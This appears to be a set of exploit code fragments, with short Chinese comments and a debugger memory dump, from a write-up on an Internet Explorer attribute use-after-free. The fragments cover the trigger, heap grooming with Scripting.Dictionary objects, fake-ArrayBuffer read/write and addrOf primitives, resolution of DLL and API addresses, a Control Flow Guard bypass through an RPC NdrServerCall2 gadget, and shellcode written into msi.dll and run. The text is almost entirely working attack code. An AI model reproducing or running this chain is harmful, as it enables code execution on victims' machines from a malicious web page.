<script>var element = document.createElement('xxx');var attr1 = document.createAttribute('yyy');var attr2 = document.createAttribute('zzz');
var obj = {};obj.valueOf = function() {        element.clearAttributes();           return 0x1337;};
attr1.nodeValue = obj;attr2.nodeValue = 123;element.setAttributeNode(attr1);element.setAttributeNode(attr2);element.removeAttributeNode(attr1);</script>

element.removeAttributeNode(attr1);

<script>    var element = document.createElement('a');    var attr1 = document.createAttribute('b');    var attr2 = document.createAttribute("c");    var hd2;    var obj = {};    obj.valueOf = function () {        element.clearAttributes();        return 0x1337;    };    attr1.nodeValue = obj;    element.setAttributeNode(attr1);    element.setAttribute("d", Array(0x10000).join('A'));    element.removeAttributeNode(attr1);</script>

att.nodeValue = {           valueOf: function () {               hd1.nodeValue = (new alloc1()).nodeValue               ele.clearAttributes()               //重引用被释放的内存               hd2 = hd1.cloneNode()               //绕过异常               ele.setAttribute('attribute', 1337)           }       }

function alloc1() {    var view = new DataView(abf)    var str = ''    for (var i = 4; i < abf.byteLength - 2; i += 2)        str += '%u' + pad0(view.getUint16(i, true).toString(16))    var result = document.createAttribute('alloc')    result.nodeValue = unescape(str)    return result}

function alloc2() {           // 创建字典对象           var dic1 = new ActiveXObject('Scripting.Dictionary')           var dic2 = new ActiveXObject('Scripting.Dictionary')           dic2.add(0, 1)           dic1.add(0, dic2.items())           dic1.add(1, fake)           dic1.add(2, arr)           for (i = 3; i < 0x20010 / 0x10; ++i)               dic1.add(i, 0x12341234)           return dic1.items()       } var alloc = alloc2() // 触发valueof函数回调 ele.removeAttributeNode(att) //再次重引用removeAttributeNode后被释放的内存 hd0.nodeValue = alloc //通过hd2.nodevalue读取重用后hd0.nodevalue内存 var leak = new Uint32Array(dump(hd2.nodeValue)) //fake var pAbf = leak[6] //arr[]地址 var pArr = leak[10];

1:023:x86> dd 0c0b88900c0b8890  00000000 00000000 098202b8 00000000 dict2.items();0c0b88a0  00000009 00000000 09dcdec4 00000000 fakeBuf ArrayBuffer(0x100)0c0b88b0  00000009 00000000 09dcdf04 00000000 arr  [{}]0c0b88c0  00000003 00000000 12341234 000000000c0b88d0  00000003 00000000 12341234 000000000c0b88e0  00000003 00000000 12341234 000000000c0b88f0  00000003 00000000 12341234 000000000c0b8900  00000003 00000000 12341234 00000000

function flush() {            hd1.nodeValue = (new alloc1()).nodeValue            hd2.nodeValue = 0            hd2 = hd1.cloneNode()        }var VT_I4 = 0x3;var VT_DISPATCH = 0x9;var VT_BYREF = 0x4000;var bufArr = new Array(0x10);var fakeArr = new Uint32Array(fake);for (var i = 0; i < 0x10; i++) {     setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4));}flush();

ref = new VBArray(hd0.nodeValue);for (var i = 0; i < 0x10; i++) {    bufArr[i] = ref.getItem(i + 1);}ref = null;setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]));setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04));setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c));flush();

Struct Int32Array     allocated at Custom Heap{    void* pvftable;    DOWRD var_2;    DOWRD var_3;    DOWRD var_4;    DOWRD var_5;    DOWRD var_6;    DOWRD size;            //条目的个数，字节数等于这项的值*4    void* pTypeArrayData;  //Arraybuffer Data    void* pArrayBuffer;   //Arraybuffer Object    DWORD var_10;    DWORD var_11;    DWORD var_12;}Struct ArrayBuffer      allocated at Custom Heap{    void* pvftable;    DOWRD var_2;    DOWRD var_3;    DOWRD var_4;    void* pTypeArrayData;       //Arraybuffer Data    DWORD size;                 //array bytes    DWORD var_10;    DWORD var_11;}

var fake = new ArrayBuffer(0x100);var fakeArr = new Uint32Array(fake);

ref = new VBArray(hd0.nodeValue);      var vt = ref.getItem(1);      var gc = ref.getItem(2);      var bs = ref.getItem(3);      ref = null;      for (var i = 0; i < 16; ++i) {          fakeArr[i] = bufArr[i];      }      fakeArr[4] = bs + 0x40;      fakeArr[16] = vt;      fakeArr[17] = gc;      fakeArr[24] = 0xffffffff;      setData(1, new Data(VT_DISPATCH, bs));      flush();

function addrOf(obj) {           arr[0] = obj           return read(pArr, 32)       }write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)

var map = new Map()var jscript9 = getBase(read(addrOf(map), 32))var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')var msvcrt = getDllBase(jscript9, 'msvcrt.dll')var ntdll = getDllBase(msvcrt, 'ntdll.dll')var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')

var xyz = document.createAttribute('xyz')var paoi = addrOf(xyz)var patt = read(addrOf(xyz) + 0x18, 32)cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)

function aos() {          var baseObj = createBase()          var addr = baseObj.addr + baseObj.size          var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')          prepareCall(addr, I_RpcTransServerNewConnection)          return read(read(call(addr) - 0xf8, 32), 32)      }

function initRpc() {           var data = [50, 72, 0, 0, 0, 0, 0, 0, 52, 0, 192, 0, 16, 0, 68, 13, 10, 1, 0, 0, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 9, 0, 72, 0, 4, 0, 9, 0, 72, 0, 8, 0, 9, 0, 72, 0, 12, 0, 9, 0, 72, 0, 16, 0, 9, 0, 72, 0, 20, 0, 9, 0, 72, 0, 24, 0, 9, 0, 72, 0, 28, 0, 9, 0, 72, 0, 32, 0, 9, 0, 72, 0, 36, 0, 9, 0, 72, 0, 40, 0, 9, 0, 72, 0, 44, 0, 9, 0, 112, 0, 48, 0, 9, 0, 0]           var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')           var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')           var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')           var RPCMessageObject = createArrayBuffer(cbase.size())           var buffer = createArrayBuffer(0x100)           var buffer2 = createArrayBuffer(0x200)           var AttributeVtable = read(patt, 32)           var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)           var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())           var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())           var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())           var rpcProcStringBuffer = createArrayBuffer(data.length)           writeData(rpcProcStringBuffer, data)           var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())           var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())           var NdrServerCall2Buffer = createArrayBuffer(4)           write(NdrServerCall2Buffer, NdrServerCall2, 32)           write(MSHTMLSymbolBuffer, osf_vft, 32)           write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)           write(MSHTMLSymbolBuffer + 8, 0x40, 32)           cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))           cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))           cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))           cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))           cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)           cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)           write(RPCMessageObject + 76, 1, 32)           syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)           _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)           _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)           RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)           RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)           PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)           _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)           _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)           _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)           _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)           _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)           _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)           _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)           return RPCMessageObject       }

function killCfg(addr) {      var cfgobj = new CFGObject(addr)      if (!cfgobj.getCFGValue()) return      var guard_check_icall_fptr_address = cfgobj.getCFGAddress()      var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')      var tmpBuffer = createArrayBuffer(4)      // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE      call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])      // 替换rpcrt4!__guard_check_icall_fptr保存的指针，修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet      // 关闭rpcrt4的CFG检查      write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)      // 恢复PRCRT4!__gurad_check_icall_fptr内存属性      call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])      map.delete(tmpBuffer)  }

         var shellcode = new Uint8Array([ 0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63, 0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7, 0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2, 0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75,0x05, 0x95, 0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C, 0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD,0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE,0x06, 0x3A, 0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0, 0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24,0x1C, 0x75, 0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03,0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9,0x33, 0xDB, 0x53, 0x68, 0x65, 0x64, 0x7E, 0x7E, 0x68, 0x68, 0x61, 0x63, 0x6B, 0x8B, 0xC4, 0x53,0x50, 0x50, 0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8, 0x0C, 0x0D, 0xCC, 0x04, 0x00, 0x0B,0x0A, 0x0A, 0xCA, 0x02, 0xAD, 0x0B, 0x0A, 0x0A, 0x0E, 0x0D, 0x00, 0x01, 0x50, 0x00, 0x0A, 0x0B,0xFF, 0x0E, 0x0C, 0xEA, 0xEA, 0x0A, 0x0B, 0xFF, 0x0E, 0x04, 0xCA, 0x02, 0x0A, 0xEC, 0x0E, 0x0C,0xDE, 0x0E, 0x04, 0x0B, 0xFF, 0x0E, 0xED, 0x0A, 0x0A, 0x0E, 0x0C, 0xDE, 0xCA, 0x02, 0x0A, 0xEC,0x0E, 0x0C, 0xDE, 0x0E, 0xEA, 0x0D, 0x0B, 0xFF, 0x0E, 0x32, 0x0B, 0xFF, 0x0E, 0x0A, 0x0E, 0xCA,0x02 ])    var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000    var tmpBuffer = createArrayBuffer(4)    call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])    writeData(msi, shellcode) // mov eax, 0x1337 ; ret    call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])    var result = call2(msi, [])

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